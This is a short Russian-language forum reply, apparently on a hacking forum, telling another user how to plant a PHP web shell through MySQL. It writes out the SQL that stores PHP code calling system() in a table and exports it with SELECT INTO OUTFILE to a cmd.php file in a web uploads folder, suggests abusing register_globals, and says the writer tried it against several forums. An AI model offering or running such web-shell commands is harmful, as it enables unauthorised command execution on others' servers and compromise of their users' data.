Попробуй залить через mysql. Где-то на рстшном форуме была статейка, ну примерно вот так:
create table ibf_shell(myshell char(50));
Insert into ibf_shell(myshell) values('<?тут пишешь php-команды, типа system("id")?>');
Select myshell from ibf_shell into outfile 'тут полный путь к файлу, типа /home/qwerty/www/uploads/cmd.php';
Если прав на аутфайл хватит, то считай что тебе повезло. Кроме того, ели включены register_globals, то можешь ввести что-то типа этого system($_GET)(вроде так). НО!
Я юзал так несколько форумов, и прав на вывод в outfile у меня не хватало, т.е. было
permission denied for user admin@localhost

.
Если помог - ткни на репутацию...
